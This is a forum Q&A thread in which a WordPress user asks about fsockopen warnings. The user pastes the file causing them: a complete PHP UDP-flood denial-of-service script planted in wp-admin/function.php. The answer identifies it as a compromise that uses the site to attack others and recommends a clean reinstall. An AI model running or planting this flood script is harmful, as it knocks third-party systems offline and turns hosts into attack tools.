0

I have problem with fsockopen. My site works normal, but when I log in into admin panel (wordpress), I got this error message all over my screen: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://:0 (Failed to parse address "") in /home/visit014/public_html/wp-admin/function.php on line 32

Code of wp-admin/function.php is here:

`<?php



//=================================================

//PHP DOS v1.8 (Possibly Stronger Flood Strength)

//Coded by EXE

//www.ZeroDayExile.com

//=================================================



$packets = 0;

$ip = $_POST['ip'];

$rand = $_POST['port'];

set_time_limit(0);

ignore_user_abort(FALSE);



$exec_time = $_POST['time'];



$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;







for($i=0;$i<65535;$i++){

        $out .= "X";

}

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }



        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

        if($fp){

                fwrite($fp, $out);

                fclose($fp);

        }

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>

`

anyone can help me? I see that it has been similar problems, but not one with functions.php so the code is different. Please help me. Thanks!

1 Answers1

0

Your functions.php have been compromised and altered. And someone is using your website to attack other people. It should not contain any such code, reupload a clean version of the script and you should be good.

A very similar script can be found here, and it is used to issue flood attacks to an victim. https://code.google.com/p/php-dos-attacker/downloads/detail?name=php-dos-attacker-1.2b.zip

Markus
  • 631
  • 1
  • 6
  • 11